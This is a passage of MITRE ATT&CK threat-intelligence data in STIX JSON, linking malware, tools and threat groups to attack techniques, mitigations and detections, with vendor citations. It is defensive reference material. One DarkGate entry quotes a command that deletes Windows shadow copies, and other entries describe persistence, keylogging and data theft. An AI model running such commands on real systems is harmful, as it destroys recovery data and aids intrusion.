2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--64cb753d-eb72-4dce-a417-7df747334347","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-17T00:19:44.133Z","description":"[BACKSPACE](https://attack.mitre.org/software/S0031) may collect information about running processes.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--fb261c56-b80e-43a9-8351-c84081e7213d","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--64cf2e56-3d7e-4999-a0ae-eb856b8e8f20","created":"2023-03-26T19:27:08.449Z","revoked":false,"external_references":[{"source_name":"Red Canary NETWIRE January 2020","description":"Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021.","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T19:27:08.449Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) can store its configuration information in the Registry under `HKCU:\\Software\\Netwire`.(Citation: Red Canary NETWIRE January 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--64d09ca0-3fc6-4be1-9c77-bd01ac3a3947","type":"relationship","created":"2022-04-01T14:41:48.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NTT Security Flagpro new December 2021","url":"https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech","description":"Hada, H. (2021, December 28). Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}],"modified":"2022-04-01T14:41:48.854Z","description":"[Flagpro](https://attack.mitre.org/software/S0696) can use `cmd.exe` to execute commands received from C2.(Citation: NTT Security Flagpro new December 2021)","relationship_type":"uses","source_ref":"malware--592260fb-dd5c-4a30-8d99-106a0485be0d","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--64d59c09-1ecd-4711-b2b8-e46d4ffc7ede","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Lunghi Iron Tiger Linux","description":"Daniel Lunghi. (2023, March 1). Iron Tiger’s SysUpdate Reappears, Adds Linux Targeting. Retrieved March 20, 2023.","url":"https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html"},{"source_name":"Nccgroup Emissary Panda May 2018","description":"Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda – A potential new malicious tool. Retrieved June 25, 2018.","url":"https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-29T14:47:41.051Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027)'s malware can add a Registry key to `Software\\Microsoft\\Windows\\CurrentVersion\\Run` for persistence.(Citation: Nccgroup Emissary Panda May 2018)(Citation: Lunghi Iron Tiger Linux)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--64d9fee3-d0c8-40e5-b295-d43ec719bb81","created":"2023-09-28T13:25:34.246Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub Pacu","description":"Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.","url":"https://github.com/RhinoSecurityLabs/pacu"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-13T16:32:42.776Z","description":"[Pacu](https://attack.mitre.org/software/S1091) can enumerate AWS storage services, such as S3 buckets and Elastic Block Store volumes.(Citation: GitHub Pacu)","relationship_type":"uses","source_ref":"tool--1b3b8f96-43b1-4460-8e02-1f53d7802fb9","target_ref":"attack-pattern--8565825b-21c8-4518-b75e-cbc4c717a156","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--64e03a61-21a6-40d6-9c87-30c1f21ba899","created":"2024-05-15T20:20:15.052Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-15T20:20:15.052Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has targeted the browsing history of network administrators.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--64e3196b-50c6-47d9-8841-1b7902a1546a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye CARBANAK June 2017","description":"Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"}],"modified":"2020-03-17T16:18:51.454Z","description":"[Carbanak](https://attack.mitre.org/software/S0030) searches recursively for Outlook personal storage tables (PST) files within user directories and sends them back to the C2 server.(Citation: FireEye CARBANAK June 2017)","relationship_type":"uses","source_ref":"malware--72f54d66-675d-4587-9bd3-4ed09f9522e4","target_ref":"attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--64e887e0-70b8-474d-8763-3c3a666055d3","created":"2024-04-17T16:25:46.965Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T16:25:46.965Z","description":"[SLIGHTPULSE](https://attack.mitre.org/software/S1110) can read files specified on the local system.(Citation: Mandiant Pulse Secure Zero-Day April 2021)","relationship_type":"uses","source_ref":"malware--d1008b78-960c-4b36-bdc4-39a734e1e4e3","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--64ebe849-d632-4af5-92b4-05e246b732c2","type":"relationship","created":"2020-03-10T18:23:06.789Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-22T17:29:46.508Z","description":"Prevent users from installing their own launch agents or launch daemons.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--64eeba9b-c972-4671-bb08-fca6d2445b8a","created":"2024-08-20T20:06:43.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kandji Cuckoo April 2024","description":"Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.","url":"https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware"},{"source_name":"SentinelOne Cuckoo Stealer May 2024","description":"Stokes, P. (2024, May 9). macOS Cuckoo Stealer | Ensuring Detection and Defense as New Samples Rapidly Emerge. Retrieved August 20, 2024.","url":"https://www.sentinelone.com/blog/macos-cuckoo-stealer-ensuring-detection-and-defense-as-new-samples-rapidly-emerge/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-23T18:20:05.584Z","description":"[Cuckoo Stealer](https://attack.mitre.org/software/S1153) strings are deobfuscated prior to execution.(Citation: Kandji Cuckoo April 2024)(Citation: SentinelOne Cuckoo Stealer May 2024)","relationship_type":"uses","source_ref":"malware--457a5e8d-d964-4130-bde3-c07bb41a093e","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--64eedc04-9dca-4e47-9465-a3d0b51d02f1","type":"relationship","created":"2021-06-21T18:07:57.523Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Cuba April 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf","description":"Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}],"modified":"2021-08-31T21:30:39.660Z","description":"[Cuba](https://attack.mitre.org/software/S0625) logs keystrokes via polling by using GetKeyState and VkKeyScan functions.(Citation: McAfee Cuba April 2021)","relationship_type":"uses","source_ref":"malware--6cd07296-14aa-403d-9229-6343d03d4752","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--64eefbfb-5241-4325-919d-4739504644c2","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT10 Sept 2018","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"}],"modified":"2020-03-21T00:35:57.124Z","description":"Some versions of [UPPERCUT](https://attack.mitre.org/software/S0275) have used the hard-coded string “this is the encrypt key” for Blowfish encryption when communicating with a C2. Later versions have hard-coded keys uniquely for each C2 address.(Citation: FireEye APT10 Sept 2018)","relationship_type":"uses","source_ref":"malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--64f0efcd-e46a-4bcf-9cbe-4c890e13c01b","type":"relationship","created":"2020-04-30T13:00:53.416Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}],"modified":"2020-04-30T13:00:53.416Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) used Nmap for remote system discovery.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--64f1da46-93a7-4e70-8702-801dbaf26206","type":"relationship","created":"2019-04-17T19:18:00.463Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Remexi Jan 2019","url":"https://securelist.com/chafer-used-remexi-malware/89538/","description":"Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019."}],"modified":"2019-04-22T20:18:07.111Z","description":"[Remexi](https://attack.mitre.org/software/S0375) utilizes Run Registry keys in the HKLM hive as a persistence mechanism.(Citation: Securelist Remexi Jan 2019)","relationship_type":"uses","source_ref":"malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--64f33d8d-6060-40ab-8fbb-bd8b249702f7","type":"relationship","created":"2019-04-23T14:59:04.117Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2019-09-16T17:23:48.844Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) has a number of modules that leverage pass the hash for lateral movement.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--64f76b74-cafc-4cf5-9c86-f7305fbaf61c","created":"2023-08-17T18:46:27.039Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN7 Apr 2022","description":"Abdo, B., et al. (2022, April 4). FIN7 Power Hour: Adversary Archaeology and the Evolution of FIN7. Retrieved April 5, 2022.","url":"https://www.mandiant.com/resources/evolution-of-fin7"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T18:10:49.059Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has set up Amazon S3 buckets to host trojanized digital products.(Citation: Mandiant FIN7 Apr 2022)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--64f86be9-606f-4255-bd62-e4ea3248fd40","type":"relationship","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.833Z","description":"Monitor executed commands and arguments that may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--64fa019e-5eb1-404c-9488-d4083ccc8b65","type":"relationship","created":"2020-03-16T15:45:18.137Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-26T21:25:37.452Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--64fc52d7-7e49-4fda-8193-8e38e8ac1811","created":"2021-11-22T16:44:34.377Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Profero APT27 December 2020","description":"Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.","url":"https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"},{"source_name":"Trend Micro DRBControl February 2020","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:05:38.082Z","description":"[RCSession](https://attack.mitre.org/software/S0662) has the ability to capture keystrokes on a compromised host.(Citation: Trend Micro DRBControl February 2020)(Citation: Profero APT27 December 2020)","relationship_type":"uses","source_ref":"malware--03acae53-9b98-46f6-b204-16b930839055","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--64fe312b-e489-4698-9924-aeb22c056e2b","type":"relationship","created":"2020-07-20T13:25:54.617Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-07-20T13:25:54.617Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) has exploited CVE-2007-5633 vulnerability in the speedfan.sys driver to obtain kernel mode privileges.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--64fe5b69-1b3b-44a3-a952-0dc22091ea3a","type":"relationship","created":"2022-02-18T13:42:42.386Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Roadtools","url":"https://dirkjanm.io/introducing-roadtools-and-roadrecon-azure-ad-exploration-framework/","description":"Dirk-jan Mollema. (2020, April 16). Introducing ROADtools - The Azure AD exploration framework. Retrieved January 31, 2022."}],"modified":"2022-04-01T13:27:48.508Z","description":"[ROADTools](https://attack.mitre.org/software/S0684) leverages valid cloud credentials to perform enumeration operations using the internal Azure AD Graph API.(Citation: Roadtools)\t","relationship_type":"uses","source_ref":"tool--6dbdc657-d8e0-4f2f-909b-7251b3e72c6d","target_ref":"attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--650ae259-991e-4d54-a173-cc12e31ead50","created":"2024-02-12T21:23:10.692Z","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T21:23:10.692Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) can delete system restore points through the command cmd.exe /c vssadmin delete shadows /for=c: /all /quiet”.(Citation: Ensilo Darkgate 2018)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--650fddda-8aa5-4311-9772-ba8ab0ed4afa","type":"relationship","created":"2022-03-08T19:16:59.317Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCSC Cyclops Blink February 2022","url":"https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf","description":"NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022."},{"source_name":"Trend Micro Cyclops Blink March 2022","url":"https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html","description":"Haquebord, F. et al. (2022, March 17). Cyclops Blink Sets Sights on Asus Routers. Retrieved March 17, 2022."}],"modified":"2022-03-17T15:24:46.963Z","description":"[Cyclops Blink](https://attack.mitre.org/software/S0687) can use the Linux API `statvfs` to enumerate the current working directory.(Citation: NCSC Cyclops Blink February 2022)(Citation: Trend Micro Cyclops Blink March 2022)","relationship_type":"uses","source_ref":"malware--b350b47f-88fe-4921-8538-6d9c59bac84e","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--651225d6-5454-4c44-8d62-776bd7ddaed2","type":"relationship","created":"2019-06-25T12:25:23.792Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-09T16:57:32.311Z","description":"Use network intrusion detection/prevention systems to detect and prevent remote service scans.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6512ebc3-cc9f-48e1-9a57-a5deb062f123","type":"relationship","created":"2020-05-21T14:55:00.293Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-21T14:55:00.293Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has used scripts to collect the host's network topology.(Citation: TrendMicro Tropic Trooper May 2020)\t","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--651334a7-9d6c-444e-a935-1e7847abfcb1","type":"relationship","created":"2021-03-01T14:07:36.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint LookBack Malware Aug 2019","url":"https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks","description":"Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021."}],"modified":"2021-03-02T18:15:56.521Z","description":"[LookBack](https://attack.mitre.org/software/S0582) can enumerate services on the victim machine.(Citation: Proofpoint LookBack Malware Aug 2019)","relationship_type":"uses","source_ref":"malware--c9ccc4df-1f56-49e7-ad57-b383e1451688","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6514cf17-0e40-4858-bd3e-58c8fb70796a","created":"2022-03-15T19:56:31.049Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.413Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has created social media accounts to monitor news and security trends as well as potential targets.(Citation: KISA Operation 